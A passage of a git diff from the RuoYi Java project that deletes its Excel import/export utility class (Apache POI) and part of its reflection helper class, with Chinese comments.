com.ruoyi.common.utils.file.FileTypeUtils; -import com.ruoyi.common.utils.file.ImageUtils; -import com.ruoyi.common.utils.reflect.ReflectUtils; - -/** - * Excel相关处理 - * - * @author ruoyi - */ -public class ExcelUtil -{ - private static final Logger log = LoggerFactory.getLogger(ExcelUtil.class); - - /** - * Excel sheet最大行数,默认65536 - */ - public static final int sheetSize = 65536; - - /** - * 工作表名称 - */ - private String sheetName; - - /** - * 导出类型(EXPORT:导出数据;IMPORT:导入模板) - */ - private Type type; - - /** - * 工作薄对象 - */ - private Workbook wb; - - /** - * 工作表对象 - */ - private Sheet sheet; - - /** - * 样式列表 - */ - private Map styles; - - /** - * 导入导出数据列表 - */ - private List list; - - /** - * 注解列表 - */ - private List fields; - - /** - * 最大高度 - */ - private short maxHeight; - - /** - * 统计列表 - */ - private Map statistics = new HashMap(); - - /** - * 数字格式 - */ - private static final DecimalFormat DOUBLE_FORMAT = new DecimalFormat("######0.00"); - - /** - * 实体对象 - */ - public Class clazz; - - public ExcelUtil(Class clazz) - { - this.clazz = clazz; - } - - public void init(List list, String sheetName, Type type) - { - if (list == null) - { - list = new ArrayList(); - } - this.list = list; - this.sheetName = sheetName; - this.type = type; - createExcelField(); - createWorkbook(); - } - - /** - * 对excel表单默认第一个索引名转换成list - * - * @param is 输入流 - * @return 转换后集合 - */ - public List importExcel(InputStream is) throws Exception - { - return importExcel(StringUtils.EMPTY, is); - } - - /** - * 对excel表单指定表格索引名转换成list - * - * @param sheetName 表格索引名 - * @param is 输入流 - * @return 转换后集合 - */ - public List importExcel(String sheetName, InputStream is) throws Exception - { - this.type = Type.IMPORT; - this.wb = WorkbookFactory.create(is); - List list = new ArrayList(); - Sheet sheet = null; - if (StringUtils.isNotEmpty(sheetName)) - { - // 如果指定sheet名,则取指定sheet中的内容. - sheet = wb.getSheet(sheetName); - } - else - { - // 如果传入的sheet名不存在则默认指向第1个sheet. - sheet = wb.getSheetAt(0); - } - - if (sheet == null) - { - throw new IOException("文件sheet不存在"); - } - - int rows = sheet.getPhysicalNumberOfRows(); - - if (rows > 0) - { - // 定义一个map用于存放excel列的序号和field. - Map cellMap = new HashMap(); - // 获取表头 - Row heard = sheet.getRow(0); - for (int i = 0; i < heard.getPhysicalNumberOfCells(); i++) - { - Cell cell = heard.getCell(i); - if (StringUtils.isNotNull(cell)) - { - String value = this.getCellValue(heard, i).toString(); - cellMap.put(value, i); - } - else - { - cellMap.put(null, i); - } - } - // 有数据时才处理 得到类的所有field. - Field[] allFields = clazz.getDeclaredFields(); - // 定义一个map用于存放列的序号和field. - Map fieldsMap = new HashMap(); - for (int col = 0; col < allFields.length; col++) - { - Field field = allFields[col]; - Excel attr = field.getAnnotation(Excel.class); - if (attr != null && (attr.type() == Type.ALL || attr.type() == type)) - { - // 设置类的私有字段属性可访问. - field.setAccessible(true); - Integer column = cellMap.get(attr.name()); - if (column != null) - { - fieldsMap.put(column, field); - } - } - } - for (int i = 1; i < rows; i++) - { - // 从第2行开始取数据,默认第一行是表头. - Row row = sheet.getRow(i); - if(row == null) - { - continue; - } - T entity = null; - for (Map.Entry entry : fieldsMap.entrySet()) - { - Object val = this.getCellValue(row, entry.getKey()); - - // 如果不存在实例则新建. - entity = (entity == null ? clazz.newInstance() : entity); - // 从map中得到对应列的field. - Field field = fieldsMap.get(entry.getKey()); - // 取得类型,并根据对象类型设置值. - Class fieldType = field.getType(); - if (String.class == fieldType) - { - String s = Convert.toStr(val); - if (StringUtils.endsWith(s, ".0")) - { - val = StringUtils.substringBefore(s, ".0"); - } - else - { - String dateFormat = field.getAnnotation(Excel.class).dateFormat(); - if (StringUtils.isNotEmpty(dateFormat)) - { - val = DateUtils.parseDateToStr(dateFormat, (Date) val); - } - else - { - val = Convert.toStr(val); - } - } - } - else if ((Integer.TYPE == fieldType || Integer.class == fieldType) && StringUtils.isNumeric(Convert.toStr(val))) - { - val = Convert.toInt(val); - } - else if (Long.TYPE == fieldType || Long.class == fieldType) - { - val = Convert.toLong(val); - } - else if (Double.TYPE == fieldType || Double.class == fieldType) - { - val = Convert.toDouble(val); - } - else if (Float.TYPE == fieldType || Float.class == fieldType) - { - val = Convert.toFloat(val); - } - else if (BigDecimal.class == fieldType) - { - val = Convert.toBigDecimal(val); - } - else if (Date.class == fieldType) - { - if (val instanceof String) - { - val = DateUtils.parseDate(val); - } - else if (val instanceof Double) - { - val = DateUtil.getJavaDate((Double) val); - } - } - else if (Boolean.TYPE == fieldType || Boolean.class == fieldType) - { - val = Convert.toBool(val, false); - } - if (StringUtils.isNotNull(fieldType)) - { - Excel attr = field.getAnnotation(Excel.class); - String propertyName = field.getName(); - if (StringUtils.isNotEmpty(attr.targetAttr())) - { - propertyName = field.getName() + "." + attr.targetAttr(); - } - else if (StringUtils.isNotEmpty(attr.readConverterExp())) - { - val = reverseByExp(Convert.toStr(val), attr.readConverterExp(), attr.separator()); - } - else if (StringUtils.isNotEmpty(attr.dictType())) - { - val = reverseDictByExp(Convert.toStr(val), attr.dictType(), attr.separator()); - } - ReflectUtils.invokeSetter(entity, propertyName, val); - } - } - list.add(entity); - } - } - return list; - } - - /** - * 对list数据源将其里面的数据导入到excel表单 - * - * @param list 导出数据集合 - * @param sheetName 工作表的名称 - * @return 结果 - */ - public AjaxResult exportExcel(List list, String sheetName) - { - this.init(list, sheetName, Type.EXPORT); - return exportExcel(); - } - - /** - * 对list数据源将其里面的数据导入到excel表单 - * - * @param sheetName 工作表的名称 - * @return 结果 - */ - public AjaxResult importTemplateExcel(String sheetName) - { - this.init(null, sheetName, Type.IMPORT); - return exportExcel(); - } - - /** - * 对list数据源将其里面的数据导入到excel表单 - * - * @return 结果 - */ - public AjaxResult exportExcel() - { - OutputStream out = null; - try - { - // 取出一共有多少个sheet. - double sheetNo = Math.ceil(list.size() / sheetSize); - for (int index = 0; index <= sheetNo; index++) - { - createSheet(sheetNo, index); - - // 产生一行 - Row row = sheet.createRow(0); - int column = 0; - // 写入各个字段的列头名称 - for (Object[] os : fields) - { - Excel excel = (Excel) os[1]; - this.createCell(excel, row, column++); - } - if (Type.EXPORT.equals(type)) - { - fillExcelData(index, row); - addStatisticsRow(); - } - } - String filename = encodingFilename(sheetName); - out = new FileOutputStream(getAbsoluteFile(filename)); - wb.write(out); - return AjaxResult.success(filename); - } - catch (Exception e) - { - log.error("导出Excel异常{}", e.getMessage()); - throw new CustomException("导出Excel失败,请联系网站管理员!"); - } - finally - { - if (wb != null) - { - try - { - wb.close(); - } - catch (IOException e1) - { - e1.printStackTrace(); - } - } - if (out != null) - { - try - { - out.close(); - } - catch (IOException e1) - { - e1.printStackTrace(); - } - } - } - } - - /** - * 填充excel数据 - * - * @param index 序号 - * @param row 单元格行 - */ - public void fillExcelData(int index, Row row) - { - int startNo = index * sheetSize; - int endNo = Math.min(startNo + sheetSize, list.size()); - for (int i = startNo; i < endNo; i++) - { - row = sheet.createRow(i + 1 - startNo); - // 得到导出对象. - T vo = (T) list.get(i); - int column = 0; - for (Object[] os : fields) - { - Field field = (Field) os[0]; - Excel excel = (Excel) os[1]; - // 设置实体类私有属性可访问 - field.setAccessible(true); - this.addCell(excel, row, vo, field, column++); - } - } - } - - /** - * 创建表格样式 - * - * @param wb 工作薄对象 - * @return 样式列表 - */ - private Map createStyles(Workbook wb) - { - // 写入各条记录,每条记录对应excel表中的一行 - Map styles = new HashMap(); - CellStyle style = wb.createCellStyle(); - style.setAlignment(HorizontalAlignment.CENTER); - style.setVerticalAlignment(VerticalAlignment.CENTER); - style.setBorderRight(BorderStyle.THIN); - style.setRightBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); - style.setBorderLeft(BorderStyle.THIN); - style.setLeftBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); - style.setBorderTop(BorderStyle.THIN); - style.setTopBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); - style.setBorderBottom(BorderStyle.THIN); - style.setBottomBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); - Font dataFont = wb.createFont(); - dataFont.setFontName("Arial"); - dataFont.setFontHeightInPoints((short) 10); - style.setFont(dataFont); - styles.put("data", style); - - style = wb.createCellStyle(); - style.cloneStyleFrom(styles.get("data")); - style.setAlignment(HorizontalAlignment.CENTER); - style.setVerticalAlignment(VerticalAlignment.CENTER); - style.setFillForegroundColor(IndexedColors.GREY_50_PERCENT.getIndex()); - style.setFillPattern(FillPatternType.SOLID_FOREGROUND); - Font headerFont = wb.createFont(); - headerFont.setFontName("Arial"); - headerFont.setFontHeightInPoints((short) 10); - headerFont.setBold(true); - headerFont.setColor(IndexedColors.WHITE.getIndex()); - style.setFont(headerFont); - styles.put("header", style); - - style = wb.createCellStyle(); - style.setAlignment(HorizontalAlignment.CENTER); - style.setVerticalAlignment(VerticalAlignment.CENTER); - Font totalFont = wb.createFont(); - totalFont.setFontName("Arial"); - totalFont.setFontHeightInPoints((short) 10); - style.setFont(totalFont); - styles.put("total", style); - - style = wb.createCellStyle(); - style.cloneStyleFrom(styles.get("data")); - style.setAlignment(HorizontalAlignment.LEFT); - styles.put("data1", style); - - style = wb.createCellStyle(); - style.cloneStyleFrom(styles.get("data")); - style.setAlignment(HorizontalAlignment.CENTER); - styles.put("data2", style); - - style = wb.createCellStyle(); - style.cloneStyleFrom(styles.get("data")); - style.setAlignment(HorizontalAlignment.RIGHT); - styles.put("data3", style); - - return styles; - } - - /** - * 创建单元格 - */ - public Cell createCell(Excel attr, Row row, int column) - { - // 创建列 - Cell cell = row.createCell(column); - // 写入列信息 - cell.setCellValue(attr.name()); - setDataValidation(attr, row, column); - cell.setCellStyle(styles.get("header")); - return cell; - } - - /** - * 设置单元格信息 - * - * @param value 单元格值 - * @param attr 注解相关 - * @param cell 单元格信息 - */ - public void setCellVo(Object value, Excel attr, Cell cell) - { - if (ColumnType.STRING == attr.cellType()) - { - cell.setCellValue(StringUtils.isNull(value) ? attr.defaultValue() : value + attr.suffix()); - } - else if (ColumnType.NUMERIC == attr.cellType()) - { - cell.setCellValue(StringUtils.contains(Convert.toStr(value), ".") ? Convert.toDouble(value) : Convert.toInt(value)); - } - else if (ColumnType.IMAGE == attr.cellType()) - { - ClientAnchor anchor = new XSSFClientAnchor(0, 0, 0, 0, (short) cell.getColumnIndex(), cell.getRow().getRowNum(), (short) (cell.getColumnIndex() + 1), - cell.getRow().getRowNum() + 1); - String imagePath = Convert.toStr(value); - if (StringUtils.isNotEmpty(imagePath)) - { - byte[] data = ImageUtils.getImage(imagePath); - getDrawingPatriarch(cell.getSheet()).createPicture(anchor, - cell.getSheet().getWorkbook().addPicture(data, getImageType(data))); - } - } - } - - /** - * 获取画布 - */ - public static Drawing getDrawingPatriarch(Sheet sheet) - { - if (sheet.getDrawingPatriarch() == null) - { - sheet.createDrawingPatriarch(); - } - return sheet.getDrawingPatriarch(); - } - - /** - * 获取图片类型,设置图片插入类型 - */ - public int getImageType(byte[] value) - { - String type = FileTypeUtils.getFileExtendName(value); - if ("JPG".equalsIgnoreCase(type)) - { - return Workbook.PICTURE_TYPE_JPEG; - } - else if ("PNG".equalsIgnoreCase(type)) - { - return Workbook.PICTURE_TYPE_PNG; - } - return Workbook.PICTURE_TYPE_JPEG; - } - - /** - * 创建表格样式 - */ - public void setDataValidation(Excel attr, Row row, int column) - { - if (attr.name().indexOf("注:") >= 0) - { - sheet.setColumnWidth(column, 6000); - } - else - { - // 设置列宽 - sheet.setColumnWidth(column, (int) ((attr.width() + 0.72) * 256)); - } - // 如果设置了提示信息则鼠标放上去提示. - if (StringUtils.isNotEmpty(attr.prompt())) - { - // 这里默认设了2-101列提示. - setXSSFPrompt(sheet, "", attr.prompt(), 1, 100, column, column); - } - // 如果设置了combo属性则本列只能选择不能输入 - if (attr.combo().length > 0) - { - // 这里默认设了2-101列只能选择不能输入. - setXSSFValidation(sheet, attr.combo(), 1, 100, column, column); - } - } - - /** - * 添加单元格 - */ - public Cell addCell(Excel attr, Row row, T vo, Field field, int column) - { - Cell cell = null; - try - { - // 设置行高 - row.setHeight(maxHeight); - // 根据Excel中设置情况决定是否导出,有些情况需要保持为空,希望用户填写这一列. - if (attr.isExport()) - { - // 创建cell - cell = row.createCell(column); - int align = attr.align().value(); - cell.setCellStyle(styles.get("data" + (align >= 1 && align <= 3 ? align : ""))); - - // 用于读取对象中的属性 - Object value = getTargetValue(vo, field, attr); - String dateFormat = attr.dateFormat(); - String readConverterExp = attr.readConverterExp(); - String separator = attr.separator(); - String dictType = attr.dictType(); - if (StringUtils.isNotEmpty(dateFormat) && StringUtils.isNotNull(value)) - { - cell.setCellValue(DateUtils.parseDateToStr(dateFormat, (Date) value)); - } - else if (StringUtils.isNotEmpty(readConverterExp) && StringUtils.isNotNull(value)) - { - cell.setCellValue(convertByExp(Convert.toStr(value), readConverterExp, separator)); - } - else if (StringUtils.isNotEmpty(dictType) && StringUtils.isNotNull(value)) - { - cell.setCellValue(convertDictByExp(Convert.toStr(value), dictType, separator)); - } - else if (value instanceof BigDecimal && -1 != attr.scale()) - { - cell.setCellValue((((BigDecimal) value).setScale(attr.scale(), attr.roundingMode())).toString()); - } - else - { - // 设置列类型 - setCellVo(value, attr, cell); - } - addStatisticsData(column, Convert.toStr(value), attr); - } - } - catch (Exception e) - { - log.error("导出Excel失败{}", e); - } - return cell; - } - - /** - * 设置 POI XSSFSheet 单元格提示 - * - * @param sheet 表单 - * @param promptTitle 提示标题 - * @param promptContent 提示内容 - * @param firstRow 开始行 - * @param endRow 结束行 - * @param firstCol 开始列 - * @param endCol 结束列 - */ - public void setXSSFPrompt(Sheet sheet, String promptTitle, String promptContent, int firstRow, int endRow, - int firstCol, int endCol) - { - DataValidationHelper helper = sheet.getDataValidationHelper(); - DataValidationConstraint constraint = helper.createCustomConstraint("DD1"); - CellRangeAddressList regions = new CellRangeAddressList(firstRow, endRow, firstCol, endCol); - DataValidation dataValidation = helper.createValidation(constraint, regions); - dataValidation.createPromptBox(promptTitle, promptContent); - dataValidation.setShowPromptBox(true); - sheet.addValidationData(dataValidation); - } - - /** - * 设置某些列的值只能输入预制的数据,显示下拉框. - * - * @param sheet 要设置的sheet. - * @param textlist 下拉框显示的内容 - * @param firstRow 开始行 - * @param endRow 结束行 - * @param firstCol 开始列 - * @param endCol 结束列 - * @return 设置好的sheet. - */ - public void setXSSFValidation(Sheet sheet, String[] textlist, int firstRow, int endRow, int firstCol, int endCol) - { - DataValidationHelper helper = sheet.getDataValidationHelper(); - // 加载下拉列表内容 - DataValidationConstraint constraint = helper.createExplicitListConstraint(textlist); - // 设置数据有效性加载在哪个单元格上,四个参数分别是:起始行、终止行、起始列、终止列 - CellRangeAddressList regions = new CellRangeAddressList(firstRow, endRow, firstCol, endCol); - // 数据有效性对象 - DataValidation dataValidation = helper.createValidation(constraint, regions); - // 处理Excel兼容性问题 - if (dataValidation instanceof XSSFDataValidation) - { - dataValidation.setSuppressDropDownArrow(true); - dataValidation.setShowErrorBox(true); - } - else - { - dataValidation.setSuppressDropDownArrow(false); - } - - sheet.addValidationData(dataValidation); - } - - /** - * 解析导出值 0=男,1=女,2=未知 - * - * @param propertyValue 参数值 - * @param converterExp 翻译注解 - * @param separator 分隔符 - * @return 解析后值 - */ - public static String convertByExp(String propertyValue, String converterExp, String separator) - { - StringBuilder propertyString = new StringBuilder(); - String[] convertSource = converterExp.split(","); - for (String item : convertSource) - { - String[] itemArray = item.split("="); - if (StringUtils.containsAny(separator, propertyValue)) - { - for (String value : propertyValue.split(separator)) - { - if (itemArray[0].equals(value)) - { - propertyString.append(itemArray[1] + separator); - break; - } - } - } - else - { - if (itemArray[0].equals(propertyValue)) - { - return itemArray[1]; - } - } - } - return StringUtils.stripEnd(propertyString.toString(), separator); - } - - /** - * 反向解析值 男=0,女=1,未知=2 - * - * @param propertyValue 参数值 - * @param converterExp 翻译注解 - * @param separator 分隔符 - * @return 解析后值 - */ - public static String reverseByExp(String propertyValue, String converterExp, String separator) - { - StringBuilder propertyString = new StringBuilder(); - String[] convertSource = converterExp.split(","); - for (String item : convertSource) - { - String[] itemArray = item.split("="); - if (StringUtils.containsAny(separator, propertyValue)) - { - for (String value : propertyValue.split(separator)) - { - if (itemArray[1].equals(value)) - { - propertyString.append(itemArray[0] + separator); - break; - } - } - } - else - { - if (itemArray[1].equals(propertyValue)) - { - return itemArray[0]; - } - } - } - return StringUtils.stripEnd(propertyString.toString(), separator); - } - - /** - * 解析字典值 - * - * @param dictValue 字典值 - * @param dictType 字典类型 - * @param separator 分隔符 - * @return 字典标签 - */ - public static String convertDictByExp(String dictValue, String dictType, String separator) - { - return DictUtils.getDictLabel(dictType, dictValue, separator); - } - - /** - * 反向解析值字典值 - * - * @param dictLabel 字典标签 - * @param dictType 字典类型 - * @param separator 分隔符 - * @return 字典值 - */ - public static String reverseDictByExp(String dictLabel, String dictType, String separator) - { - return DictUtils.getDictValue(dictType, dictLabel, separator); - } - - /** - * 合计统计信息 - */ - private void addStatisticsData(Integer index, String text, Excel entity) - { - if (entity != null && entity.isStatistics()) - { - Double temp = 0D; - if (!statistics.containsKey(index)) - { - statistics.put(index, temp); - } - try - { - temp = Double.valueOf(text); - } - catch (NumberFormatException e) - { - } - statistics.put(index, statistics.get(index) + temp); - } - } - - /** - * 创建统计行 - */ - public void addStatisticsRow() - { - if (statistics.size() > 0) - { - Cell cell = null; - Row row = sheet.createRow(sheet.getLastRowNum() + 1); - Set keys = statistics.keySet(); - cell = row.createCell(0); - cell.setCellStyle(styles.get("total")); - cell.setCellValue("合计"); - - for (Integer key : keys) - { - cell = row.createCell(key); - cell.setCellStyle(styles.get("total")); - cell.setCellValue(DOUBLE_FORMAT.format(statistics.get(key))); - } - statistics.clear(); - } - } - - /** - * 编码文件名 - */ - public String encodingFilename(String filename) - { - filename = UUID.randomUUID().toString() + "_" + filename + ".xlsx"; - return filename; - } - - /** - * 获取下载路径 - * - * @param filename 文件名称 - */ - public String getAbsoluteFile(String filename) - { - String downloadPath = RuoYiConfig.getDownloadPath() + filename; - File desc = new File(downloadPath); - if (!desc.getParentFile().exists()) - { - desc.getParentFile().mkdirs(); - } - return downloadPath; - } - - /** - * 获取bean中的属性值 - * - * @param vo 实体对象 - * @param field 字段 - * @param excel 注解 - * @return 最终的属性值 - * @throws Exception - */ - private Object getTargetValue(T vo, Field field, Excel excel) throws Exception - { - Object o = field.get(vo); - if (StringUtils.isNotEmpty(excel.targetAttr())) - { - String target = excel.targetAttr(); - if (target.indexOf(".") > -1) - { - String[] targets = target.split("[.]"); - for (String name : targets) - { - o = getValue(o, name); - } - } - else - { - o = getValue(o, target); - } - } - return o; - } - - /** - * 以类的属性的get方法方法形式获取值 - * - * @param o - * @param name - * @return value - * @throws Exception - */ - private Object getValue(Object o, String name) throws Exception - { - if (StringUtils.isNotNull(o) && StringUtils.isNotEmpty(name)) - { - Class clazz = o.getClass(); - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - o = field.get(o); - } - return o; - } - - /** - * 得到所有定义字段 - */ - private void createExcelField() - { - this.fields = new ArrayList(); - List tempFields = new ArrayList<>(); - tempFields.addAll(Arrays.asList(clazz.getSuperclass().getDeclaredFields())); - tempFields.addAll(Arrays.asList(clazz.getDeclaredFields())); - for (Field field : tempFields) - { - // 单注解 - if (field.isAnnotationPresent(Excel.class)) - { - putToField(field, field.getAnnotation(Excel.class)); - } - - // 多注解 - if (field.isAnnotationPresent(Excels.class)) - { - Excels attrs = field.getAnnotation(Excels.class); - Excel[] excels = attrs.value(); - for (Excel excel : excels) - { - putToField(field, excel); - } - } - } - this.fields = this.fields.stream().sorted(Comparator.comparing(objects -> ((Excel) objects[1]).sort())).collect(Collectors.toList()); - this.maxHeight = getRowHeight(); - } - - /** - * 根据注解获取最大行高 - */ - public short getRowHeight() - { - double maxHeight = 0; - for (Object[] os : this.fields) - { - Excel excel = (Excel) os[1]; - maxHeight = maxHeight > excel.height() ? maxHeight : excel.height(); - } - return (short) (maxHeight * 20); - } - - /** - * 放到字段集合中 - */ - private void putToField(Field field, Excel attr) - { - if (attr != null && (attr.type() == Type.ALL || attr.type() == type)) - { - this.fields.add(new Object[] { field, attr }); - } - } - - /** - * 创建一个工作簿 - */ - public void createWorkbook() - { - this.wb = new SXSSFWorkbook(500); - } - - /** - * 创建工作表 - * - * @param sheetNo sheet数量 - * @param index 序号 - */ - public void createSheet(double sheetNo, int index) - { - this.sheet = wb.createSheet(); - this.styles = createStyles(wb); - // 设置工作表的名称. - if (sheetNo == 0) - { - wb.setSheetName(index, sheetName); - } - else - { - wb.setSheetName(index, sheetName + index); - } - } - - /** - * 获取单元格值 - * - * @param row 获取的行 - * @param column 获取单元格列号 - * @return 单元格值 - */ - public Object getCellValue(Row row, int column) - { - if (row == null) - { - return row; - } - Object val = ""; - try - { - Cell cell = row.getCell(column); - if (StringUtils.isNotNull(cell)) - { - if (cell.getCellType() == CellType.NUMERIC || cell.getCellType() == CellType.FORMULA) - { - val = cell.getNumericCellValue(); - if (DateUtil.isCellDateFormatted(cell)) - { - val = DateUtil.getJavaDate((Double) val); // POI Excel 日期格式转换 - } - else - { - if ((Double) val % 1 != 0) - { - val = new BigDecimal(val.toString()); - } - else - { - val = new DecimalFormat("0").format(val); - } - } - } - else if (cell.getCellType() == CellType.STRING) - { - val = cell.getStringCellValue(); - } - else if (cell.getCellType() == CellType.BOOLEAN) - { - val = cell.getBooleanCellValue(); - } - else if (cell.getCellType() == CellType.ERROR) - { - val = cell.getErrorCellValue(); - } - - } - } - catch (Exception e) - { - return val; - } - return val; - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/reflect/ReflectUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/reflect/ReflectUtils.java deleted file mode 100644 index b19953e..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/reflect/ReflectUtils.java +++ /dev/null @@ -1,410 +0,0 @@ -package com.ruoyi.common.utils.reflect; - -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.lang.reflect.Modifier; -import java.lang.reflect.ParameterizedType; -import java.lang.reflect.Type; -import java.util.Date; -import org.apache.commons.lang3.StringUtils; -import org.apache.commons.lang3.Validate; -import org.apache.poi.ss.usermodel.DateUtil; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import com.ruoyi.common.core.text.Convert; -import com.ruoyi.common.utils.DateUtils; - -/** - * 反射工具类. 提供调用getter/setter方法, 访问私有变量, 调用私有方法, 获取泛型类型Class, 被AOP过的真实类等工具函数. - * - * @author ruoyi - */ -@SuppressWarnings("rawtypes") -public class ReflectUtils -{ - private static final String SETTER_PREFIX = "set"; - - private static final String GETTER_PREFIX = "get"; - - private static final String CGLIB_CLASS_SEPARATOR = "$$"; - - private static Logger logger = LoggerFactory.getLogger(ReflectUtils.class); - - /** - * 调用Getter方法. - * 支持多级,如:对象名.对象名.方法 - */ - @SuppressWarnings("unchecked") - public static E invokeGetter(Object obj, String propertyName) - { - Object object = obj; - for (String name : StringUtils.split(propertyName, ".")) - { - String getterMethodName = GETTER_PREFIX + StringUtils.capitalize(name); - object = invokeMethod(object, getterMethodName, new Class[] {}, new Object[] {}); - } - return (E) object; - } - - /** - * 调用Setter方法, 仅匹配方法名。 - * 支持多级,如:对象名.对象名.方法 - */ - public static void invokeSetter(Object obj, String propertyName, E value) - { - Object object = obj; - String[] names = StringUtils.split(propertyName, "."); - for (int i = 0; i < names.length; i++) - { - if (i < names.length - 1) - { - String getterMethodName = GETTER_PREFIX + StringUtils.capitalize(names[i]); - object = invokeMethod(object, getterMethodName, new Class[] {}, new Object[] {}); - } - else - { - String setterMethodName = SETTER_PREFIX + StringUtils.capitalize(names[i]); - invokeMethodByName(object, setterMethodName, new Object[] { value }); - } - } - } - - /** - * 直接读取对象属性值, 无视private/protected修饰符, 不经过getter函数. - */ - @SuppressWarnings("unchecked") - public static E getFieldValue(final Object obj, final String fieldName) - { - Field field = getAccessibleField(obj, fieldName); - if (field == null) - { - logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + fieldName + "] 字段 "); - return null; - } - E result = null; - try - { - result = (E) field.get(obj); - } - catch (IllegalAccessException e) - { - logger.error("不可能抛出的异常{}", e.getMessage()); - } - return result; - } - - /** - * 直接设置对象属性值, 无视private/protected修饰符, 不经过setter函数. - */ - public static void setFieldValue(final Object obj, final String fieldName, final E value) - { - Field field = getAccessibleField(obj, fieldName); - if (field == null) - { - // throw new IllegalArgumentException("在 [" + obj.getClass() + "] 中,没有找到 [" + fieldName + "] 字段 "); - logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + fieldName + "] 字段 "); - return; - } - try - { - field.set(obj, value); - } - catch (IllegalAccessException e) - { - logger.error("不可能抛出的异常: {}", e.getMessage()); - } - } - - /** - * 直接调用对象方法, 无视private/protected修饰符. - * 用于一次性调用的情况,否则应使用getAccessibleMethod()函数获得Method后反复调用. - * 同时匹配方法名+参数类型, - */ - @SuppressWarnings("unchecked") - public static E invokeMethod(final Object obj, final String methodName, final Class[] parameterTypes, - final Object[] args) - { - if (obj == null || methodName == null) - { - return null; - } - Method method = getAccessibleMethod(obj, methodName, parameterTypes); - if (method == null) - { - logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + methodName + "] 方法 "); - return null; - } - try - { - return (E) method.invoke(obj, args); - } - catch (Exception e) - { - String msg = "method: " + method + ", obj: " + obj + ", args: " + args + ""; - throw convertReflectionExceptionToUnchecked(msg, e); - } - } - - /** - * 直接调用对象方法, 无视private/protected修饰符, - * 用于一次性调用的情况,否则应使用getAccessibleMethodByName()函数获得Method后反复调用. - * 只匹配函数名,如果有多个同名函数调用第一个。 - */ - @SuppressWarnings("unchecked") - public static E invokeMethodByName(final Object obj, final String methodName, final Object[] args) - { - Method method = getAccessibleMethodByName(obj, methodName, args.length); - if (method == null) - { - // 如果为空不报错,直接返回空。 - logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + methodName + "] 方法 "); - return null; - } - try - { - // 类型转换(将参数数据类型转换为目标方法参数类型) - Class[] cs = method.getParameterTypes(); - for (int i = 0; i < cs.length; i++) - { - if (args[i] != null && !args[i].getClass().equals(cs[i])) - { - if (cs[i] == String.class) - { - args[i] = Convert.toStr(args[i]); - if (StringUtils.endsWith((String) args[i], ".0")) - { - args[i] = StringUtils.substringBefore((String) args[i], ".0"); - } - } - else if (cs[i] == Integer.class) - { - args[i] = Convert.toInt(args[i]); - } - else if (cs[i] == Long.class) - { - args[i] = Convert.toLong(args[i]); - } - else if (cs[i] == Double.class) - { - args[i] = Convert.toDouble(args[i]); - } - else if (cs[i] == Float.class) - { - args[i] = Convert.toFloat(args[i]); - } - else if (cs[i] == Date.class) - { - if (args[i] instanceof String) - { - args[i] = DateUtils.parseDate(args[i]); - } - else - { - args[i] = DateUtil.getJavaDate((Double) args[i]); - } - } - else if (cs[i] == boolean.class || cs[i] == Boolean.class) - { - args[i] = Convert.toBool(args[i]); - } - } - } - return (E) method.invoke(obj, args); - } - catch (Exception e) - { - String msg = "method: " + method + ", obj: " + obj + ", args: " + args + ""; - throw convertReflectionExceptionToUnchecked(msg, e); - } - } - - /** - * 循环向上转型, 获取对象的DeclaredField, 并强制设置为可访问. - * 如向上转型到Object仍无法找到, 返回null. - */ - public static Field getAccessibleField(final Object obj, final String fieldName) - { - // 为空不报错。直接返回 null - if (obj == null) - { - return null; - } - Validate.notBlank(fieldName, "fieldName can't be blank"); - for (Class superClass = obj.getClass(); superClass != Object.class; superClass = superClass.getSuperclass()) - { - try - { - Field field = superClass.getDeclaredField(fieldName); - makeAccessible(field); - return field; - } - catch (NoSuchFieldException e) - { - continue; - } - } - return null; - } - - /** - * 循环向上转型, 获取对象的DeclaredMethod,并强制设置为可访问. - * 如向上转型到Object仍无法找到, 返回null. - * 匹配函数名+参数类型。 - * 用于方法需要被多次调用的情况. 先使用本函数先取得Method,然后调用Method.invoke(Object obj, Object... args) - */ - public static Method getAccessibleMethod(final Object obj, final String methodName, - final Class... parameterTypes) - { - // 为空不报错。直接返回 null - if (obj == null) - { - return null; - } - Validate.notBlank(methodName, "methodName can't be blank"); - for (Class searchType = obj.getClass(); searchType != Object.class; searchType = searchType.getSuperclass()) - { - try - { - Method method = searchType.getDeclaredMethod(methodName, parameterTypes); - makeAccessible(method); - return method; - } - catch (NoSuchMethodException e) - { - continue; - } - } - return null; - } - - /** - * 循环向上转型, 获取对象的DeclaredMethod,并强制设置为可访问. - * 如向上转型到Object仍无法找到, 返回null. - * 只匹配函数名。 - * 用于方法需要被多次调用的情况. 先使用本函数先取得Method,然后调用Method.invoke(Object obj, Object... args) - */ - public static Method getAccessibleMethodByName(final Object obj, final String methodName, int argsNum) - { - // 为空不报错。直接返回 null - if (obj == null) - { - return null; - } - Validate.notBlank(methodName, "methodName can't be blank"); - for (Class searchType = obj.getClass(); searchType != Object.class; searchType = searchType.getSuperclass()) - { - Method[] methods = searchType.getDeclaredMethods(); - for (Method method : methods) - { - if (method.getName().equals(methodName) && method.getParameterTypes().length == argsNum) - { - makeAccessible(method); - return method; - } - } - } - return null; - } - - /** - * 改变private/protected的方法为public,尽量不调用实际改动的语句,避免JDK的SecurityManager抱怨。 - */ - public static void makeAccessible(Method method) - { - if ((!Modifier.isPublic(method.getModifiers()) || !Modifier.isPublic(method.getDeclaringClass().getModifiers())) - && !method.isAccessible()) - { - method.setAccessible(true); - } - } - - /** - * 改变private/protected的成员变量为public,尽量不调用实际改动的语句,避免JDK的SecurityManager抱怨。 - */ - public static void makeAccessible(Field field) - { - if ((!Modifier.isPublic(field.getModifiers()) || !Modifier.isPublic(field.getDeclaringClass().getModifiers()) - || 